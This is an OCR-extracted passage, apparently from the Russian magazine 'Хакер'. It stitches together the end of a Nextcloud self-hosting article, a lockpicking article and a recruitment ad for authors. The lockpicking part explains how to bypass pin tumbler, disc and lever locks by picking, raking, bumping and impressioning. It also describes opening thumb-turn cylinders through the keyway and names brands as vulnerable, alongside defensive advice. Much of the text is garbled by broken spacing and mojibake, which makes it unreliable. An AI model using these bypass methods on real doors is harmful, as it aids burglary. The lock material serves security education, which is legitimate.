Од нако, помимо повыше ния при ват ности, есть и дру гие аргу мен ты в поль‐ 
зу Nextcloud и ему подоб ных. Один из них — это эко номия. Я, к при меру, ути‐ 
лизо вал сво бод ное мес то, дос тавше еся мне от хос тера вмес те с инстан сом
VPS.  Но  сер вер  может  сто ять  и  дома,  с  под клю чен ными  к  нему  дис ками
или  дос тупом  к  NAS  по  локаль ной  сети.  Тог да  цена  гигабай та  будет  зна‐ 
читель но ниже.

Ну и наконец, если ты, как и я, энту зиаст вся кой пер сональ ной авто мати‐ 
зации и у тебя куча скрип тов и ворк флоу для раз ных занятий, то ты навер няка
и сам сооб разишь, зачем тебе все это может понадо бить ся!

https://github.com/katznboyz1/youtube-dl-server
https://docs.gunicorn.org/en/stable/deploy.html
https://github.com/jaimeMF/youtube-dl-api-server
https://help.ubuntu.com/community/TransmissionHowTo
https://docs.nextcloud.com/server/15/admin_manual/configuration_server/occ_command.html#files-external-label
https://docs.nextcloud.com/server/15/admin_manual/configuration_server/occ_command.html#file-operations-label
https://github.com/Blaok/nextcloud-inotifyscan
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Лок пикинг, то есть взлом зам ков, — это не
толь ко  прес тупное  деяние  на  пути  к  чужим
цен ным  вещам,  но  и  популяр ное  раз вле‐ 
чение  сре ди  спе циалис тов  по  информа‐ 
цион ной  безопас ности.  Зна ния  в  этой
области при годят ся и при выборе зам ка, и,
к  при меру,  если  потеря ешь  ключ.  Из  этой
статьи ты узна ешь, какие быва ют виды зам‐ 
ков,  какие  у  каж дого  из  них  сла бые  мес та
и  как  отли чить  более  надеж ный  от  менее
надеж ного.

С ЧЕГО ВСЕ НАЧИНАЛОСЬ
Пот ребность  защищать  свое  иму щес тво  и  кон тро лиро вать  дос туп  одних
людей в  помеще ния дру гих  людей была издавна. Пер вые  зам ки были изоб‐ 
ретены еще в Древ нем Егип те. Тог да они ско рее походи ли на модифи циро‐ 
ван ные  засовы,  в  которых  были  спе циаль ные  отвер стия  для  колыш ков.
При  помощи  « клю ча»  надо  было  под нять  колыш ки  вверх,  пос ле  чего мож но
потянуть за ключ и вытащить запира ющую часть.

Но  силь ное  раз витие  исто рия  зам ков  получи ла  начиная  с  XVIII  века.
В 1784 году Джо зеф Бра ма выс тавил на вит рине магази на свой замок ори‐ 
гиналь ной  конс трук ции,  пообе щав  наг раду  в  200  гиней  (поряд ка  200  тысяч
дол ларов  в  перес чете  на  текущий  век)  тому,  кто  его  вскро ет.  Нес мотря
на  солид ную  наг раду,  67  лет  под ряд  попыт ки  энту зиас тов  оста вались  тщет‐ 
ными. Этот замок был взло ман Чарль зом Хоб бсом в 1851 году на Все мир ной
выс тавке. Он пот ратил на это 51 час.

Дру гой  зас лужива ющий  упо мина ния  изоб ретатель  —  Дже ремия  Чабб.  Он
в 1818 году изоб рел суваль дный замок, который называ ют его име нем: замок
Чаб ба. Этот замок инте ресен тем, что для него необ ходимы два клю ча. Пер‐ 
вый ключ исполь зовал ся в обыч ных слу чаях, что бы открыть и зак рыть замок.
Но если замок попытать ся вскрыть, то он перей дет в защит ный режим, пос ле
чего пер вый ключ уже не будет под ходить. Тог да надо вос поль зовать ся вто‐ 
рым  клю чом,  что бы  вер нуть  замок  в  обыч ный  режим,  где  подой дет  пер вый
ключ. Такой механизм не толь ко усложня ет взлом, но и информи рует хозя ина
о неудач ной попыт ке взло ма. Одна ко и этот замок тоже вскры ли, при чем сде‐ 
лал это тот же человек и на той же выс тавке, что порабо тал над зам ком Джо‐ 
зефа Бра ма.

В  наши  дни  все  ста ло  куда  инте рес нее.  Давай  прой дем ся  по  популяр ным
видам зам ков, начав с самого обыч ного — англий ско го.

WARNING

Ав тор  и  редак ция  не  несут  ответс твен ности
за  любой  воз можный  вред,  при чинен ный
с  исполь зовани ем  информа ции  из  этой  статьи.
При меняя ее, ты дей ству ешь на свой страх и риск
и  про информи рован  о  пос ледс тви ях.  Наруше ние
неп рикос новен ности  жилища,  кра жа  либо  пор ча
иму щес тва  прес леду ются  по  закону.  Исполь зуй
получен ные  зна ния,  толь ко  ког да  это  никому
не при чинит ущер ба!

АНГЛИЙСКИЙ ЗАМОК
За мок  сос тоит  из  нес коль ких  час тей:  это  кор пус  зам ка,  вра щающий ся
цилиндр,  куда  мы  встав ляем  ключ,  отвер стия  под  штиф ты  и  сами  штиф ты
(вер хний  и  ниж ний)  с  пру жина ми,  давящи ми  на  них.  В  раз говоре  штиф ты
такого зам ка у нас час то называ ют «пинами».

На пра вой час ти кар тинки мы видим положе ния пинов, ког да ключ не встав лен
или же встав лен непод ходящий ключ. Вер хние пины в этом слу чае находят ся
меж ду  кор пусом зам ка и цилин дром, не давая пос ледне му вра щать ся. Если
встав лен  под ходящий  ключ,  то  они  не  пре пятс тву ют  поворо ту  клю ча  вмес те
с цилин дром.

Уязвимость механизма
По чему этот вид зам ков воз можно вскрыть? Мно гие спе циалис ты по кибер‐ 
безопас ности  любят  слу чай ные  чис ла.  В  лок пике  же  любят  пог решность,
которая  здесь  сыг рает  клю чевую  роль.  Если  пос мотреть  на  ось  сим метрии
зам ка  свер ху,  то  в  теории  все  пины  будут  находить ся  на  одной  этой  оси.
На прак тике же реали зовать это прак тичес ки невоз можно и они будут на раз‐ 
ных осях.

Вер немся  к  виду  спе реди.  Если  мы  нач нем  слег ка  про вора чивать  цилиндр
по  часовой  стрел ке,  то  он  упрется  в  пины.  И  важ но,  что  не  во  все  сра зу,
а толь ко в один, край ний. Это будет самый левый пин. Под няв его, мы дадим
цилин дру слег ка про вер нуть ся, упе рев шись в сле дующий сле ва пин.

Отмычки
Клас сичес кий  инс тру мент  для  вскры тия  этих  зам ков  —  крю чок  (hook)
и натяжи тель. Хук — это метал личес кая плас тина, чем‐то похожая на полови‐ 
ну  пин цета  с  заг нутыми  кон цами. Натяжи тель —  тоже  плас тина,  толь ко  сог‐ 
нутая  в  Г‐образную  фор му.  Сна чала  мы  встав ляем  натяжи тель  в  отвер стие
цилин дра со сто роны, про тиво полож ной пинам, и начина ем слег ка  вра щать
цилиндр с его помощью. Пос ле это го заводим хук при мер но на дли ну клю ча,
что бы дос тать до даль него пина, и начина ем по оче реди, от даль него к ближ‐ 
нему,  под нимать  и  опус кать  пины.  Как  вид но  на  иллюс тра ции —  некото рые
вер хние  пины  опус кают ся  обратно.  Это  зна чит,  что  не  в  них  упи рает ся
цилиндр  в  этот момент.  А  вот  ког да  вер хний  пин  оста ется  в  кор пусе  зам ка,
зна чит, в него упи рал ся цилиндр и мы подоб рали пин.

Для  работы  с  пинами  есть  и  дру гие  инс тру мен ты.  На  этой  иллюс тра ции мы
видим snake rake. Отли чие работы с ним, в срав нении с хуком, в том, что нам
не надо его опус кать пос ле попыт ки под нять пин. Это может силь но уско рить
под бор, если нет допол нитель ных защит.

Еще  одна  тех ника,  которая  поз воля ет  отно ситель но  быс тро  вскрыть  замок,
в  англо языч ных  источни ках  называ ется  «бам пинг»  (от  англий ско го  bump —
«удар»).  Для  нее  пот ребу ется  под готов ленный  ключ,  который  под ходит
по  боково му  узо ру  к  цилин дру  зам ка,  со  сто чен ными  до  минималь ного
положе ния  зазуб ринами и  парой резино вых  колец,  надетых  на  ключ, — они
поз воля ют встав лять его не до кон ца. Далее алго ритм прост — мы встав ляем
ключ и уда ряем по нему резино вым молот ком, от чего пины под лета ют вверх.
Пока  вер хние  пины  в  полете, мы  пыта емся  про вер нуть  цилиндр  с  помощью
клю ча.

Изоб ражение: zamok72.ru

Су щес тву ет так же полу авто мати чес кий бам пинг — идея та же самая, но пины
под бра сыва ет  спе циаль ное  устрой ство  с  пру жин ным  механиз мом  и  спус‐ 
ковым крюч ком. Быва ет и авто мати чес кий бам пинг — там всю работу выпол‐ 
няет виб ромотор.

Дополнительные защиты
За щитить ся  от  взло ма  поз воля ет  неболь шое  изме нение  фор мы  вер хне го
пина. Есть нес коль ко видов защит ных пинов спе цифи чес кой фор мы. На кар‐ 
тинке самый левый пин обыч ный, а осталь ные — пины безопас ности (они же
«штиф ты безопас ности» или в англо языч ных источни ках — security pin).

Ког да мы под бира ем обыч ный пин, то мы его под нима ем, и он фик сиру ется.
При  попыт ке  под нять  гри бовид ный  пин  безопас ности  он  будет  дви гать ся
иден тично обыч ному, но оста новит ся и зафик сиру ется рань ше: ког да « шляп ка
гри ба»  упрется  в  неболь шой  выс туп  кор пуса  зам ка.  При  этом  у  взлом щика
может соз дать ся лож ное впе чат ление, что пин зафик сировал ся.

Осо бен ность  ладь евид ных  секь юри ти‐пинов  зак люча ется  в  том,  что,  ког да
пыта ешь ся  про вер нуть  цилиндр  отно ситель но  кор пуса  зам ка,  они  покачи‐ 
вают ся  и  фик сиру ются  как  рас порка,  не  давая  себя  под нять.  Тем  более
не даст себя под нять ладь евид ный пин с засеч кой, так как у него есть тон кий
выс туп  посере дине,  который  упи рает ся  в  засеч ку  на  цилин дре,  сде лан ную
спе циаль но для него.

Продолжение статьи →

mailto:nipnull@gmail.com
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ДИСКОВЫЙ ЗАМОК
Дру гая зас лужива ющая вни мания раз новид ность зам ков — дис ковые. В них
вмес то  пинов  исполь зуют ся  дис ки  (1),  кор пус  зам ка  (7)  и  эле мент,  откры‐ 
вающий замок (6).

Ког да  замок  зак рыт  (левая  кар тинка),  кор пус  зам ка  с  под вижной  частью
зафик сирован  штиф том  (4).  Что бы  открыть  замок,  нуж но  про вер нуть  его
на  опре делен ный  угол:  штифт   упа дет  в  выем ку  (2)  и  объ еди нит  эле мен‐ 
ты 6 и 7.

Раз берем  пошаго во,  как  откры вает ся  такой  замок.  Сна чала  выем ки
под штифт на дис ках находят ся на раз ных осях. Ког да мы начина ем про вора‐ 
чивать ключ, выем ки вырав нива ются по одной оси. Дело в том, что на клю че
выс тупы  сде ланы  под  раз ными  угла ми  и  они  повора чива ют  каж дый  диск
на  свой  опре делен ный  угол.  Далее  мы  довора чива ем  ключ,  штифт  пада ет
в выем ки, и замок открыт.

Та кой замок тоже мож но вскрыть бла года ря пог решнос ти рас положе ния дис‐ 
ков  по  высоте.  Дела ется  это  с  помощью  инс тру мен тов  на  кар тинке  ниже.
Одна ко сде лать это слож нее, так как в отли чие от пре дыду щих зам ков прос‐ 
тота конс трук ции поз воля ет его изго тав ливать с мень шими пог решнос тями.

На  кар тинке  ниже  показан  инс тру мент,  с  помощью  которо го  по  оче реди
под бира ются дис ки.

В  качес тве допол нитель ной защиты мож но исполь зовать обманные выем ки.
Они соз дают у взлом щика лож ное ощу щение, что он подоб рал диск.

КРЕСТООБРАЗНЫЙ ЗАМОК
Еще один замок, так называ емый  крес тооб разный, — раз новид ность англий‐ 
ско го  зам ка.  Схе ма  работы  у  него  такая  же,  толь ко  пины  находят ся  не  на
одной  оси,  а  на  четырех.  Соот ветс твен но,  откры вает ся  он  похожим  инс тру‐ 
мен том.

СУВАЛЬДНЫЙ ЗАМОК
Су валь дный  замок  —  тоже  край не  рас простра нен ная  раз новид ность.  Его
механизм сле дующий: есть засов (отме чен свет ло‐серым на кар тинке) и выс‐ 
туп  на  засове  (тем но‐серый).  Выс тупы  на  засове  находят ся  в  отвер сти ях
сувальд (жел тые). На клю че есть силь но выс тупа ющий язы чок, который будет
пытать ся про тал кивать засов. Зачас тую он наибо лее широкий и рас положен
по  цен тру.  Осталь ные  засеч ки  на  клю че  будут  под нимать  каж дую  суваль ду
на  свою  опре делен ную  высоту.  Толь ко  тог да  выс туп  на  засове  смо жет
перемес тить ся внут ри сувальд.

Изоб ражение: Wikipedia

От кры вать  подоб ные  зам ки  сно ва  помога ет  пог решность  про изводс тва.
Здесь мы  видим  клас сичес кий  ключ  со  сто чен ными  засеч ками  для  сувальд,
язы чок  и  Г‐образную  про воло ку.  При  помощи  пос ледней  по  оче реди  под‐ 
бира ют  суваль ды.  Опять  же  из‐за  пог решнос ти  какая‐то  из  сувальд  будет
бли же, а зна чит, силь нее упи рать ся в выс туп на засове. Ког да мы под нимем
ее,  то  с  помощью  языч ка  можем  нем ного  про тол кнуть  засов  с  выс тупом,
а даль ше будем под бирать сле дующую суваль ду.

На кар тинке ниже мож но уви деть чуть более качес твен ную отмычку, сде лан‐ 
ную в Китае.

Су щес тву ют спе циали зиро ван ные инс тру мен ты для откры тия таких зам ков —
так  называ емые  само импрес сион ные  клю чи.  Они  по  раз мерам  подс тро ены
под замок, у них, как и у клю ча, есть язы чок, а вмес то засечек — под вижные
цилин дры.  Сна чала  ста вим  их  в  край нее  положе ние,  что бы  они  выс тупали
на  всю  дли ну  со  сто роны  языч ка.  Затем  начина ем  мед ленно  повора чивать
ключ в зам ке. Так как каж дую суваль ду надо под нять на опре делен ную высоту,
под вижные цилин дры будут отод вигать ся на раз ное рас сто яние от изна чаль‐ 
ного  положе ния  (тре тий  сле ва  ключ).  Пос ле  нес коль ких  акку рат ных  попыток
повер нуть ключ мы получим узор, сов пада ющий с ори гиналь ным узо ром клю‐ 
ча.  Это  удоб но,  потому  что  мы  смо жем  про вер нуть  замок  нес коль ко  раз
или даже сде лать сле пок клю ча, если это необ ходимо.

Что каса ется допол нитель ных механиз мов защит в суваль дных зам ках, то они
тоже  сущес тву ют.  Их  суть  зак люча ется  в  том,  что бы  при  попыт ке  под нять
суваль ду выс туп на засове упер ся или зас трял в допол нитель ном механиз ме
защиты,  не  дой дя  до  отвер стия,  которое  явля ется  «про ходом»  к  про воро ту
зам ка.

БОНУС
К  сожале нию,  у  меня  пло хие  новос ти  для  вла дель цев  обыч ных  зам ков
с  англий ски ми  цилин дра ми.  Во‐пер вых,  любой  человек  —  от  мла ден ца
до пен сионе ра — может зай ти на YouTube и спо кой но пос мотреть под робное
видео, как вскрыть очень мно гие зам ки. Прак тичес ки по всем дешевым зам‐ 
кам  есть матери алы,  где  написа но,  как  сде лать  эле мен тарную отмычку  бук‐ 
валь но  из  скреп ки.  Каса ется  это  боль шинс тва  квар тирных  зам ков,  а  так же
навес ных зам ков, зам ков от поч товых ящи ков и так далее.

Ког да  у  людей  воз ника ет  желание  повысить  безопас ность,  они  идут
в магазин и покупа ют кру той, новый замок, у которо го цилиндр с пер фоклю‐ 
чом.  Одна ко  если  у  него  есть  с  дру гой  сто роны  поворот ная  руч ка  («вер‐ 
тушок»),  которой  лег ко  зак рывать  дверь  изнутри,  то  и  этот  замок  мож но
открыть  с  помощью  скреп ки  с  заг нутым  кон цом.  Или  же  исполь зовать  спе‐ 
циаль ное  тех ничес кое  средс тво,  которое  в  прос тонародье  зовет ся  « ско‐ 
роход».

Схе ма при мене ния  такой отмычки прос та: встав ляем ее через отвер стие
в цилин дре с пинами, упи раем ся в узел, который кру тит вер тушок, и спо кой но
про вора чива ем  его.  Поч ти  все  китай ские  зам ки  откры вают ся  имен но  так,
и оте чес твен ные вро де Paladium и Apex — тоже.

Пом ни и о том, что замок может стать менее надеж ным со вре менем. Сегод‐ 
ня ты пос тавил дорогу щую дверь с клас сны ми зам ками, а зав тра кто‐нибудь
най дет  спо соб  его  вскрыть  и  выложит  на  YouTube  или  нач нет  про давать
готовый  инс тру мент.  Зам ки  Mottura,  Abus,  Tesa,  Kaba,  Mul‐T‐Lock  (« муль‐ 
тилоки») — все их пос тигла эта участь. Для того же « муль тилока  7 на 7» есть
нес коль ко  вари антов  недоро гих  отмы чек  —  в  рай оне  2–4  тысяч  руб лей.
Поэто му  если  серь езно  отно сишь ся  к  выбору  зам ка,  то  при дет ся  пери оди‐ 
чес ки про верять, не при соеди нил ся ли он к чис лу уяз вимых.

КАК С ЭТИМ ЖИТЬ?
Преж де  все го  сто ит  задумать ся  о  целесо образнос ти  защиты.  Если  взлом
обой дет ся  в  10  000  руб лей,  а  за  дверью  будет  хра нить ся  1000,  то  мож но
это так и оста вить: ломать если кто‐то и будет, то толь ко от боль шой глу пос ти.
Если  же  за  дверью  что‐то  очень  цен ное,  то  спо соб  все  рав но  най дет ся —
это лишь воп рос вре мени. Поэто му сто ит в пер вую оче редь думать о мотивах
ата ки, ее целях и сущес тву ющих защитах.

Подешевле
Из низ кобюд жетных средств луч ше все го исполь зовать желез ную дверь и два
зам ка. Так же мож но пос тавить муляж камеры, хотя это про тиво речи вая мера:
кого‐то отпугнет, а кого‐то может и прив лечь.

Еще один при ем — повесить нак лей ку типа « охра няет ся кем‐то там». Если
она  похожа  на  нак лей ку  какой‐нибудь  вне ведомс твен ной  охра ны,  то  может
и отпугнуть наруши теля.

И,  конеч но,  пос тарай ся  пол ностью  изба вить ся  от  китай ских  зам ков.
Это очень важ но, так как они не толь ко лег ко вскры вают ся, но и могут прос то
сло мать ся в самый непод ходящий момент, не пус тив вла дель ца за порог.

Подороже
Ес ли же нуж но защитить ся дей стви тель но хорошо, то выбира ем топовые зам‐ 
ки, которые я упо минал в статье. Можешь в допол нение к ним сам пос тавить
один  замок‐сек рет,  который  будет  акти виро вать ся  без  клю ча —  нап ример,
счи тывать  кар точку  или  откры вать ся  по  SMS.  Дверь  в  этом  слу чае  вряд  ли
получит ся вскрыть — толь ко взло мать.

Так же  на  зам ки  рекомен дует ся  ста вить  бро ненак ладки,  которые  будут
соот ветс тво вать  модели  и  раз меру  зам ка.  Это  поможет  от  силовых  атак
на  зам ки,  которых  боль шинс тво:  нап ример,  ког да  взлом щик  вкру чива ет
в замок саморез, что бы выдер нуть личин ку.

Не помеша ет и пос тавить нор маль ную сис тему виде онаб людения, которая
будет  писать  видео  не  толь ко  на  локаль ный  носитель,  но  и  в  обла ко.  Ну  и,
конеч но, поможет сиг нализа ция, пос тавлен ная на пульт охранной орга низа‐ 
ции, которая защища ет дома. К при меру, можешь зак лючить договор с вне‐ 
ведомс твен ной охра ной МВД.
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«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.
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ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
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И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì
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ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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